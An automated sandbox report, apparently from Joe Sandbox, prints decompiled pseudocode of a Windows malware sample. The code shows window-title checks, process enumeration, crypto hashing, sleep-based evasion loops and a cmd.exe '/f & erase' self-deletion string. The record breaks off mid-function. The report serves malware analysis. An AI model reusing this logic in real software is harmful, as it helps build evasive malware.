Part of subcall function 00405250: FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?), ref: 004052F1

ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 004055A4

Strings

C:\Windows\System32\cmd.exe, xrefs: 0040559B
" & exit, xrefs: 0040554A
" /f & erase ", xrefs: 00405528

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseCurrentFindModuleNameNotificationOpen$BaseEnumExecuteFileModulesShell
String ID: " & exit$" /f & erase "$C:\Windows\System32\cmd.exe
API String ID: 3061982424-3347335610
Opcode ID: 3c6f072b376d1acfcf699a0db0bbbd9609db1bdc5cd37d053cfa097764ee78f5
Instruction ID: ad6207ba3359af0aef5f2dc179749dd413110191df400e7a2d0bbbeb00045059
Opcode Fuzzy Hash: 3c6f072b376d1acfcf699a0db0bbbd9609db1bdc5cd37d053cfa097764ee78f5
Instruction Fuzzy Hash: E421B030A00248DBD704FBA1CC4ABDDBBB4AF14708F50417EA105B31D2EFB82A0ACB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408D00 Relevance: 6.6, APIs: 5, Instructions: 327
sleepCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00408D00(void* __ebx, void* __edi, long __esi, void* __eflags, char _a4) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				char _v92;
				char _v420;
				char _v748;
				char _v1076;
				signed char _v1080;
				intOrPtr _v1084;
				signed int _v1088;
				intOrPtr _v1092;
				char _v1116;
				char _v1140;
				char _v1164;
				char _v1188;
				char _v1212;
				char _v1236;
				char _v1260;
				signed int _v1284;
				short _v1288;
				intOrPtr _v1292;
				intOrPtr _v1296;
				intOrPtr _v1300;
				signed int _t100;
				signed int _t101;
				void* _t103;
				void* _t112;
				void* _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t126;
				void* _t135;
				void* _t136;
				signed int _t138;
				void* _t143;
				void* _t147;
				void* _t148;
				signed int _t150;
				signed int _t154;
				intOrPtr _t157;
				void* _t166;
				void* _t167;
				signed char _t170;
				char* _t174;
				intOrPtr _t175;
				signed char _t179;
				signed int _t184;
				void* _t191;
				intOrPtr _t238;
				signed int _t257;
				signed int _t279;
				signed int _t283;
				signed int _t284;
				void* _t285;
				void* _t286;
				void* _t292;
				void* _t293;
				signed int _t294;
				void* _t299;

				_t277 = __esi;
				_t275 = __edi;
				_push(0xffffffff);
				_push(0x42cdd7);
				_push( *[fs:0x0]);
				_t286 = _t285 - 0x4dc;
				_t100 =  *0x43d054; // 0xd71f2cec
				_t101 = _t100 ^ _t283;
				_v20 = _t101;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t101);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				_t103 = E00405F40(__ebx, __edi); // executed
				_t188 = Sleep;
				_t302 = _t103;
				if(_t103 == 0) {
					L3:
					E00401960( &_v748, "1"); // executed
					_v8 = 1;
					_t276 = E00402510( &_v1140, E0040BCA0(E004092F0(_t188, _t260, _t275, _t277)));
					_v8 = 2;
					_t278 = E00402510( &_v1116, E0040BB80(E00409240(_t260, _t107, _t277)));
					_v8 = 3;
					L35();
					_t112 = E00402510( &_v1260, E0040BAF0(_t110));
					_v8 = 4;
					_t113 = E0040CCE0( &_v1236, 0x450e5c, _t112);
					_v8 = 5;
					_t114 = E0040CD40( &_v1212, _t113,  &_a4);
					_v8 = 6;
					_t115 = E0040CDF0( &_v1188, _t114, _t110);
					_v8 = 7;
					_t116 = E0040CDF0( &_v1164, _t115, _t107);
					_v8 = 8;
					E0040CD40( &_v92, _t116, 0x450e44);
					_t292 = _t286 - 0x10 + 0x14;
					E00402440(_t188,  &_v1164);
					E00402440(_t188,  &_v1188);
					E00402440(_t188,  &_v1212);
					E00402440(_t188,  &_v1236);
					E00402440(_t188,  &_v1260);
					E00402440(_t188,  &_v1116);
					_v8 = 0x10;
					E00402440(_t188,  &_v1140);
					while(1) {
						_t126 = E00402300(_t188,  &_v748, _t276, E00402400( &_v92)); // executed
						if(_t126 == 0) {
							goto L8;
						}
						E00402510( &_v44, E00402370( &_v748));
						_t266 = "0";
						if(E00402800( &_v44, "0") != 0) {
							L9:
							E00402440(_t188,  &_v44);
							E0040BF20( &_v68);
							_t293 = _t292 - 0x10;
							_v8 = 0x11;
							E00401960( &_v1076, "0"); // executed
							_v8 = 0x12;
							while(1) {
								_t135 = E00402510( &_v1116, E0040BC40(E00409380(_t188, _t266, _t276, _t278)));
								_t266 = 0x450e74;
								_v8 = 0x15;
								_t136 = E0040CCE0( &_v1140, 0x450e74, _t135);
								_t293 = _t293 + 4;
								_v8 = 0x16;
								_t138 = E00402300(_t188,  &_v1076, _t276, E00402400(_t136)); // executed
								_t278 = _t138;
								E00402440(_t188,  &_v1140);
								_v8 = 0x12;
								E00402440(_t188,  &_v1116);
								__eflags = _t138;
								if(_t138 == 0) {
									goto L13;
								}
								E00402410( &_v68, E00402370( &_v1076));
								_t143 = E004023F0( &_v68);
								__eflags = _t143 - 0xa;
								if(_t143 <= 0xa) {
									goto L13;
								}
								__eflags = _t143 - 0x64;
								if(_t143 < 0x64) {
									_t294 = _t293 - 0x10;
									_t279 = 0;
									__eflags = 0;
									E00401960( &_v420, "1"); // executed
									_v8 = 0x17;
									do {
										_v1092 = _t279 + 1;
										_t147 = E00402510( &_v1116, E0040BAC0(E00409410(_t266, _t276, _t279 + 1)));
										_t266 = 0x450e74;
										_v8 = 0x1a;
										_t148 = E0040CCE0( &_v1140, 0x450e74, _t147);
										_t294 = _t294 + 4;
										_v8 = 0x1b;
										_t150 = E00402300(_t188,  &_v420, _t276, E00402400(_t148)); // executed
										E00402440(_t188,  &_v1140);
										_v8 = 0x17;
										E00402440(_t188,  &_v1116);
										__eflags = _t150;
										if(_t150 == 0) {
											goto L18;
										}
										_t188 = E00402380( &_v420);
										__eflags = _t188 - 0x16;
										if(__eflags <= 0) {
											goto L18;
										}
										_push( ~(0 | __eflags > 0x00000000) |  &(1[_t188]));
										_t166 = E0041669E();
										_t71 =  &(1[_t188]); // 0x1
										_t276 = _t166;
										_t167 = E00402340( &_v420, _t166, _t71);
										_push( ~(0 | __eflags > 0x00000000) | _t188 * 0x00000002); // executed
										_t170 = E0041669E(); // executed
										_t299 = _t294 + 4 - 0x14;
										_v1080 = _t170;
										E0040BF40(_t188, _t299, _t188 * 2 >> 0x20, _t166,  &_v68);
										_t174 = E00403770(_t188, _t166, _t167, _t276,  &_v1080); // executed
										_t266 = _t174;
										_t175 = E00402B60(_v1080, _t174, __eflags,  &_v1088,  &_v1088); // executed
										_t294 = _t299 + 0x24;
										_v1084 = _t175;
										__eflags = _v1088;
										if(_v1088 != 0) {
											_t276 = Sleep;
											_t279 = 0;
											_v1080 = 0;
											_t188 = 0;
											__eflags = 0;
											do {
												_t257 = _v1084(E00402400(0x450e8c), E00402400(0x450e14));
												_t294 = _t294 + 8;
												_t179 = _v1080;
												_t266 = 1;
												__eflags = _t179;
												if(_t179 != 0) {
													__eflags = _t257;
													_t188 =  ==  ? 1 : _t188 & 0x000000ff;
												}
												__eflags = _t279 - 0xa;
												if(_t279 >= 0xa) {
													__eflags = _t257 - 1;
													_t188 =  !=  ? _t266 : _t188 & 0x000000ff;
												}
												__eflags = _t279 - 0xf;
												if(_t279 < 0xf) {
													__eflags = _t279 - 5;
													if(_t279 < 5) {
														goto L31;
													}
													goto L29;
												} else {
													__eflags = _t257 - 1;
													if(_t257 == 1) {
														_t188 = _t257;
													}
													L29:
													__eflags = _t179;
													if(_t179 != 0) {
														goto L31;
													}
													__eflags = _t257 - 0xfffffffe;
													if(__eflags == 0) {
														Sleep(0x7d0); // executed
														L34:
														E004054C0(_t188, __eflags); // executed
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t283);
														_t284 = _t294;
														_t154 =  *0x43d054; // 0xd71f2cec
														_v1284 = _t154 ^ _t284;
														asm("movaps xmm0, [0x439d70]");
														asm("movups [ebp-0x24], xmm0");
														_v1300 = 0x5a405b41;
														_t238 =  *((intOrPtr*)( *[fs:0x2c]));
														_t157 =  *0x450f68; // 0x8000001a
														_v1296 = 0x5e465e00;
														_v1292 = 0x4c5b5d11;
														_v1288 = 0x2e13;
														__eflags = _t157 -  *((intOrPtr*)(_t238 + 4));
														if(_t157 >  *((intOrPtr*)(_t238 + 4))) {
															E0040F2F9(_t157, 0x450f68);
															__eflags =  *0x450f68 - 0xffffffff;
															if( *0x450f68 == 0xffffffff) {
																E0040BB20(0x450dd0,  &_v44);
																E0040F60B(0x450dd0, __eflags, 0x42d8b0);
																E0040F2AF(0x450f68);
															}
														}
														__eflags = _v12 ^ _t284;
														return E0040EF6F(0x450dd0, _t188, _v12 ^ _t284, _t266, _t276, _t279);
													}
												}
												L31:
												__eflags = _t257 - 1;
												_t181 =  ==  ? _t266 : _t179 & 0x000000ff;
												_t279 = _t279 + 1;
												_v1080 =  ==  ? _t266 : _t179 & 0x000000ff;
												Sleep(0x7d0); // executed
												__eflags = _t188;
											} while (__eflags == 0);
											goto L34;
										}
										L18:
										_t279 = _v1092;
										__eflags = _t279 - 0xa;
									} while (__eflags < 0);
									goto L34;
								}
								L13:
								Sleep(0xbb8);
							}
						}
						_t266 = "1";
						if(E00402800( &_v44, "1") != 0) {
							goto L9;
						}
						E00402440(_t188,  &_v44);
						L8:
						Sleep(0xbb8);
					}
				}
				_t277 = 0x7d0;
				do {
					_t184 = E004181A9(_t191, _t302);
					asm("cdq");
					_t260 = _t184 % 0x7d0 + 0x3e8;
					Sleep(_t184 % 0x7d0 + 0x3e8);
				} while (E00405F40(Sleep, __edi) != 0);
				goto L3;
			}

0x00408d00
0x00408d00
0x00408d03
0x00408d05
0x00408d10
0x00408d11
0x00408d17
0x00408d1c
0x00408d1e
0x00408d21
0x00408d22
0x00408d23
0x00408d24
0x00408d28
0x00408d2e
0x00408d35
0x00408d3a
0x00408d40
0x00408d42
0x00408d6a
0x00408d78
0x00408d7d
0x00408d99
0x00408d9b
0x00408db7
0x00408db9
0x00408dbd
0x00408dd0
0x00408ddb
0x00408de5
0x00408df0
0x00408dfd
0x00408e08
0x00408e12
0x00408e1d
0x00408e27
0x00408e36
0x00408e3d
0x00408e42
0x00408e4b
0x00408e56
0x00408e61
0x00408e6c
0x00408e77
0x00408e82
0x00408e8d
0x00408e91
0x00408e96
0x00408ea5
0x00408eac
0x00000000
0x00000000
0x00408ebd
0x00408ec2
0x00408ed1
0x00408ef5
0x00408ef8
0x00408f00
0x00408f05
0x00408f08
0x00408f17
0x00408f1c
0x00408f20
0x00408f33
0x00408f39
0x00408f3e
0x00408f48
0x00408f4d
0x00408f52
0x00408f62
0x00408f6d
0x00408f6f
0x00408f7a
0x00408f7e
0x00408f83
0x00408f85
0x00000000
0x00000000
0x00408f96
0x00408f9e
0x00408fa3
0x00408fa6
0x00000000
0x00000000
0x00408fa8
0x00408fab
0x00408fb9
0x00408fc2
0x00408fc2
0x00408fc9
0x00408fce
0x00408fd2
0x00408fd3
0x00408fec
0x00408ff2
0x00408ff7
0x00409001
0x00409006
0x0040900b
0x0040901b
0x00409028
0x00409033
0x00409037
0x0040903c
0x0040903e
0x00000000
0x00000000
0x0040904f
0x00409051
0x00409054
0x00000000
0x00000000
0x00409068
0x00409069
0x00409071
0x00409074
0x0040907e
0x00409097
0x00409098
0x0040909d
0x004090a0
0x004090ac
0x004090bc
0x004090ca
0x004090d4
0x004090d9
0x004090dc
0x004090e2
0x004090e9
0x004090ff
0x00409105
0x00409107
0x0040910e
0x0040910e
0x00409110
0x0040912c
0x0040912e
0x00409131
0x00409137
0x0040913c
0x0040913e
0x00409140
0x00409145
0x00409145
0x00409148
0x0040914b
0x0040914d
0x00409153
0x00409153
0x00409156
0x00409159
0x00409164
0x00409167
0x00000000
0x00000000
0x00000000
0x0040915b
0x0040915b
0x0040915e
0x00409160
0x00409160
0x00409169
0x00409169
0x0040916b
0x00000000
0x00000000
0x0040916d
0x00409170
0x00409194
0x00409196
0x00409196
0x0040919b
0x0040919c
0x0040919d
0x0040919e
0x0040919f
0x004091a0
0x004091a1
0x004091a6
0x004091ad
0x004091b6
0x004091bd
0x004091c1
0x004091c8
0x004091ca
0x004091cf
0x004091d6
0x004091dd
0x004091e3
0x004091e9
0x004091f0
0x004091f8
0x004091ff
0x0040920a
0x00409214
0x0040921e
0x00409223
0x004091ff
0x0040922e
0x00409238
0x00409238
0x00409170
0x00409172
0x00409172
0x0040917d
0x00409180
0x00409181
0x00409187
0x00409189
0x00409189
0x00000000
0x0040918d
0x004090eb
0x004090eb
0x004090f1
0x004090f1
0x00000000
0x004090fa
0x00408fad
0x00408fb2
0x00408fb2
0x00408f20
0x00408ed3
0x00408ee2
0x00000000
0x00000000
0x00408ee7
0x00408eec
0x00408ef1
0x00408ef1
0x00408e96
0x00408d44
0x00408d50
0x00408d50
0x00408d55
0x00408d58
0x00408d5f
0x00408d66
0x00000000

APIs

Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 00405FE0
Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 004060D6

Sleep.KERNEL32(?,D71F2CEC), ref: 00408D5F

Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 004061D5
Part of subcall function 00405F40: GetForegroundWindow.USER32 ref: 00406276
Part of subcall function 00405F40: GetWindowTextA.USER32 ref: 00406291

Sleep.KERNEL32(00000BB8,00000000,?,?,?,?,00439B30,D71F2CEC), ref: 00408EF1
Sleep.KERNEL32(00000BB8,00000000,00439B34,?,?,?,?,?,?,?,?,00439B30,D71F2CEC), ref: 00408FB2

Part of subcall function 00403770: CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,D71F2CEC), ref: 004037F0
Part of subcall function 00403770: CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403814
Part of subcall function 00403770: _mbstowcs.LIBCMT ref: 00403867
Part of subcall function 00403770: CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 0040387E
Part of subcall function 00403770: GetLastError.KERNEL32 ref: 00403888

Sleep.KERNEL32(000007D0), ref: 00409187
Sleep.KERNEL32(000007D0), ref: 00409194

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Sleep$CryptInit_thread_footer$HashWindow$AcquireContextCreateDataErrorForegroundLastText_mbstowcs
String ID:
API String ID: 1673536643-0
Opcode ID: 6c5e09b5658e852da30eb558a2276b0baad6ac6162af83c396c5afa0f2ba50b0
Instruction ID: bae517725296b6081b880abef29a1dccf2449a8f728360baf2aeded1b5684cd0
Opcode Fuzzy Hash: 6c5e09b5658e852da30eb558a2276b0baad6ac6162af83c396c5afa0f2ba50b0
Instruction Fuzzy Hash: 0DC1D1709001589ADB18F771CD997EE7264AF1030CF4001BEE90AB72D2EE7C6E49CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405250 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00405250(void* __ebx, int* __ecx, long __edx) {
				signed int _v8;
				char _v258;
				short _v260;
				char _v268;
				char _v272;
				char _v276;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t16;
				short _t18;
				intOrPtr _t23;
				char* _t29;
				void* _t31;
				intOrPtr* _t33;
				void* _t39;
				int* _t40;
				long _t41;
				void* _t42;
				signed int _t43;

				_t31 = __ebx;
				_t16 =  *0x43d054; // 0xd71f2cec
				_v8 = _t16 ^ _t43;
				_t40 = __ecx;
				_t41 = __edx;
				_v276 = __ecx;
				_v276 = __ecx;
				_t18 =  *0x439a7c; // 0x3e
				asm("movq xmm0, [0x439a74]");
				_v260 = _t18;
				asm("movq [ebp-0x108], xmm0");
				E00410EB0(__ecx,  &_v258, 0, 0xfa);
				_t42 = OpenProcess(0x410, 0, _t41);
				if(_t42 != 0) {
					_t29 =  &_v276;
					__imp__K32EnumProcessModules(_t42, _t29, 4,  &_v272); // executed
					if(_t29 != 0) {
						__imp__K32GetModuleBaseNameA(_t42, _v276,  &_v268, 0x104); // executed
					}
				}
				FindCloseChangeNotification(_t42); // executed
				_t33 =  &_v268;
				 *_t40 = 0;
				_t40[4] = 0;
				_t39 = _t33 + 1;
				_t40[5] = 0xf;
				 *_t40 = 0;
				do {
					_t23 =  *_t33;
					_t33 = _t33 + 1;
				} while (_t23 != 0);
				E004026B0(_t31, _t40,  &_v268, _t33 - _t39);
				return E0040EF6F(_t40, _t31, _v8 ^ _t43, _t39, _t40, _t42);
			}

0x00405250
0x00405259
0x00405260
0x00405265
0x00405267
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052ba
0x004052c5
0x004052cd
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040532a
0x00405340

APIs

OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 004052B0
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?,?), ref: 004052CD
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104,?,?,?,?), ref: 004052EA
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?), ref: 004052F1

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Process$BaseChangeCloseEnumFindModuleModulesNameNotificationOpen
String ID:
API String ID: 1316604328-0
Opcode ID: 4129ab5a825bb69c5b4f5c3822682abe4a50c1d528c4cb6cbf347602b2a4dbfe
Instruction ID: efd7eed50edd7d4a69fafbed45f72574ae96dcf7adcfe1c05c377fd0180822f4
Opcode Fuzzy Hash: 4129ab5a825bb69c5b4f5c3822682abe4a50c1d528c4cb6cbf347602b2a4dbfe
Instruction Fuzzy Hash: 1721C731A001199BD7259F65DC05BEAB7B8EF09300F0002BAE644A7280DBF45AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 004213D8 Relevance: 4.7, APIs: 3, Instructions: 170
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 93%

			E004213D8(signed int _a4, void* _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _v40;
				char _v44;
				signed int _t59;
				signed int _t64;
				signed int _t66;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t81;
				signed int _t84;
				signed int _t91;
				signed int _t93;
				intOrPtr _t95;
				signed int _t100;
				intOrPtr _t101;
				void* _t102;
				signed int _t105;
				signed int _t107;
				void* _t109;

				_t93 = _a12;
				_v8 = _t93;
				_t105 = _a4;
				_t102 = _a8;
				_v16 = _t102;
				if(_t93 == 0) {
					L37:
					__eflags = 0;
					return 0;
				}
				_t113 = _t102;
				if(_t102 != 0) {
					_t100 = _t105 >> 6;
					_t59 = (_t105 & 0x0000003f) * 0x38;
					_v20 = _t100;
					_t101 =  *((intOrPtr*)(0x4508e0 + _t100 * 4));
					_v12 = _t59;
					_t91 =  *((intOrPtr*)(_t101 + _t59 + 0x29));
					__eflags = _t91 - 2;
					if(_t91 == 2) {
						L6:
						__eflags =  !_t93 & 0x00000001;
						if(__eflags == 0) {
							goto L2;
						}
						_t59 = _v12;
						L8:
						__eflags =  *(_t101 + _t59 + 0x28) & 0x00000020;
						if(__eflags != 0) {
							E0041D508(_t105, 0, 0, 2);
							_t109 = _t109 + 0x10;
						}
						_t66 = E00420F7F(_t101, __eflags, _t105);
						__eflags = _t66;
						if(_t66 == 0) {
							_t95 =  *((intOrPtr*)(0x4508e0 + _v20 * 4));
							_t68 = _v12;
							__eflags =  *((char*)(_t95 + _t68 + 0x28));
							if( *((char*)(_t95 + _t68 + 0x28)) >= 0) {
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t71 = WriteFile( *(_t95 + _t68 + 0x18), _v16, _v8,  &_v40, 0); // executed
								__eflags = _t71;
								if(_t71 == 0) {
									_v44 = GetLastError();
								}
								goto L27;
							}
							_t81 = _t91;
							__eflags = _t81;
							if(_t81 == 0) {
								E00420FF0( &_v44, _t105, _t102, _v8);
								goto L16;
							}
							_t84 = _t81 - 1;
							__eflags = _t84;
							if(_t84 == 0) {
								_t83 = E004211B4( &_v44, _t105, _t102, _v8);
								goto L16;
							}
							__eflags = _t84 != 1;
							if(_t84 != 1) {
								goto L33;
							}
							_t83 = E004210CB( &_v44, _t105, _t102, _v8);
							goto L16;
						} else {
							__eflags = _t91;
							if(__eflags == 0) {
								_t83 = E00420B6B(__eflags,  &_v44, _t105, _t102, _v8);
								L16:
								L14:
								L27:
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t72 = _v28;
								__eflags = _t72;
								if(_t72 != 0) {
									return _t72 - _v24;
								}
								_t74 = _v32;
								__eflags = _t74;
								if(_t74 == 0) {
									_t102 = _v16;
									L33:
									__eflags =  *( *((intOrPtr*)(0x4508e0 + _v20 * 4)) + _v12 + 0x28) & 0x00000040;
									if(__eflags == 0) {
										L35:
										 *((intOrPtr*)(E004139A1(__eflags))) = 0x1c;
										_t64 = E0041398E(__eflags);
										 *_t64 =  *_t64 & 0x00000000;
										L3:
										return _t64 | 0xffffffff;
									}
									__eflags =  *_t102 - 0x1a;
									if(__eflags == 0) {
										goto L37;
									}
									goto L35;
								}
								_t107 = 5;
								__eflags = _t74 - _t107;
								if(__eflags != 0) {
									_t64 = E0041396B(_t74);
								} else {
									 *((intOrPtr*)(E004139A1(__eflags))) = 9;
									_t64 = E0041398E(__eflags);
									 *_t64 = _t107;
								}
								goto L3;
							}
							__eflags = _t91 - 1 - 1;
							if(_t91 - 1 > 1) {
								goto L33;
							}
							E00420F17( &_v44, _t102, _v8);
							goto L14;
						}
					}
					__eflags = _t91 - 1;
					if(_t91 != 1) {
						goto L8;
					}
					goto L6;
				}
				L2:
				 *(E0041398E(_t113)) =  *_t62 & 0x00000000;
				 *((intOrPtr*)(E004139A1( *_t62))) = 0x16;
				_t64 = E004138C7();
				goto L3;
			}

0x004213e0
0x004213e3
0x004213e8
0x004213ec
0x004213ef
0x004213f4
0x004215ab
0x004215ab
0x00000000
0x004215ab
0x004213fa
0x004213fc
0x00421422
0x00421428
0x0042142b
0x0042142e
0x00421435
0x00421438
0x0042143c
0x0042143f
0x00421446
0x0042144a
0x0042144c
0x00000000
0x00000000
0x0042144e
0x00421451
0x00421451
0x00421456
0x0042145f
0x00421464
0x00421464
0x00421468
0x0042146e
0x00421470
0x004214ae
0x004214b5
0x004214b8
0x004214bd
0x0042150e
0x00421511
0x00421512
0x0042151e
0x00421524
0x00421526
0x0042152e
0x0042152e
0x00000000
0x00421531
0x004214c2
0x004214c2
0x004214c5
0x004214fe
0x00000000
0x004214fe
0x004214c7
0x004214c7
0x004214ca
0x004214ee
0x00000000
0x004214ee
0x004214cc
0x004214cf
0x00000000
0x00000000
0x004214de
0x00000000
0x00421472
0x00421472
0x00421474
0x004214a1
0x004214a6
0x00421491
0x00421534
0x00421537
0x00421538
0x00421539
0x0042153a
0x0042153d
0x0042153f
0x00000000
0x004215a6
0x00421541
0x00421544
0x00421546
0x00421572
0x00421575
0x00421582
0x00421587
0x0042158e
0x00421593
0x00421599
0x0042159e
0x00421416
0x00000000
0x00421416
0x00421589
0x0042158c
0x00000000
0x00000000
0x00000000
0x0042158c
0x0042154a
0x0042154b
0x0042154d
0x00421567
0x0042154f
0x00421554
0x0042155a
0x0042155f
0x0042155f
0x00000000
0x0042154d
0x00421478
0x0042147b
0x00000000
0x00000000
0x00421489
0x00000000
0x0042148e
0x00421470
0x00421441
0x00421444
0x00000000
0x00000000
0x00000000
0x00421444
0x004213fe
0x00421403
0x0042140b
0x00421411
0x00000000

APIs

Part of subcall function 00420B6B: GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00420BB3

WriteFile.KERNEL32(?,00000000,00000000,?,00000000,0000000C,00000000,00000000,?,?,?,00000000,?,?,?,00000000), ref: 0042151E
GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00000000), ref: 00421528
__dosmaperr.LIBCMT ref: 00421567

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID:
API String ID: 910155933-0
Opcode ID: e24a92b2f476dda8a345309e2f2059689fa752e10403ff131c579cb01226544e
Instruction ID: ce43bce07fccaae7af3248047730bcbced10a313edff100559034e62fa0e9d95
Opcode Fuzzy Hash: e24a92b2f476dda8a345309e2f2059689fa752e10403ff131c579cb01226544e
Instruction Fuzzy Hash: 11510771F00129ABDB20AFA5E805FEE7BB4AF95314F54009BE405A7262D378DA81C769

Uniqueness

Uniqueness Score: -1.00%

Function 00405420 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405420(int* __ecx, long __edx) {
				signed int _v8;
				char _v268;
				int* _v272;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				intOrPtr _t14;
				void* _t21;
				intOrPtr* _t23;
				void* _t29;
				void* _t30;
				int* _t31;
				signed int _t32;

				_t11 =  *0x43d054; // 0xd71f2cec
				_v8 = _t11 ^ _t32;
				_t31 = __ecx;
				_v272 = __ecx;
				_v272 = __ecx;
				_t30 = OpenProcess(0x410, 0, __edx);
				if(_t30 != 0) {
					__imp__K32GetModuleFileNameExA(_t30, 0,  &_v268, 0x104); // executed
					FindCloseChangeNotification(_t30); // executed
				}
				_t23 =  &_v268;
				 *_t31 = 0;
				_t31[4] = 0;
				_t29 = _t23 + 1;
				_t31[5] = 0xf;
				 *_t31 = 0;
				do {
					_t14 =  *_t23;
					_t23 = _t23 + 1;
				} while (_t14 != 0);
				E004026B0(_t21, _t31,  &_v268, _t23 - _t29);
				return E0040EF6F(_t31, _t21, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x00405429
0x00405430
0x00405436
0x0040543a
0x00405445
0x00405451
0x00405455
0x00405466
0x0040546d
0x0040546d
0x00405473
0x00405479
0x0040547f
0x00405486
0x00405489
0x00405490
0x00405493
0x00405493
0x00405495
0x00405496
0x004054a6
0x004054bc

APIs

OpenProcess.KERNEL32(00000410,00000000,?,00450D61,00000000), ref: 0040544B
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00450D61,00000000), ref: 00405466
FindCloseChangeNotification.KERNEL32(00000000,?,00450D61,00000000), ref: 0040546D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ChangeCloseFileFindModuleNameNotificationOpenProcess
String ID:
API String ID: 4186666201-0
Opcode ID: 36db113b80369d605caa1e56955c586a2307bffc2281ad447f30776861d91f18
Instruction ID: 608f1bc54977695dece8d69e00d11970af3b09465bf6abff0daa37888faf5782
Opcode Fuzzy Hash: 36db113b80369d605caa1e56955c586a2307bffc2281ad447f30776861d91f18
Instruction Fuzzy Hash: AA1126306002189BD720DF25DC05BFBBBB4DB45B00F0002AEE58597280DBF95A86CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004066A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
processCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E004066A0(void* __ebx, CHAR* __ecx, void* __edi, struct _SECURITY_ATTRIBUTES** _a4, intOrPtr _a24) {
				signed int _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;
				signed int _v116;
				char _v132;
				struct tagHW_PROFILE_INFOA _v240;
				struct _SECURITY_ATTRIBUTES** _v244;
				void* __esi;
				void* __ebp;
				signed int _t28;
				struct _SECURITY_ATTRIBUTES** _t35;
				signed int _t40;
				signed int _t43;
				signed int _t44;
				signed int _t49;
				struct _SECURITY_ATTRIBUTES** _t58;
				intOrPtr* _t63;
				intOrPtr _t70;
				void* _t73;
				signed int _t75;
				void* _t77;
				struct _SECURITY_ATTRIBUTES** _t78;
				signed int _t79;
				signed int _t80;
				signed int _t81;

				_t74 = __edi;
				_t54 = __ebx;
				_t28 =  *0x43d054; // 0xd71f2cec
				_v8 = _t28 ^ _t79;
				_v100.cb = 0x44;
				asm("xorps xmm0, xmm0");
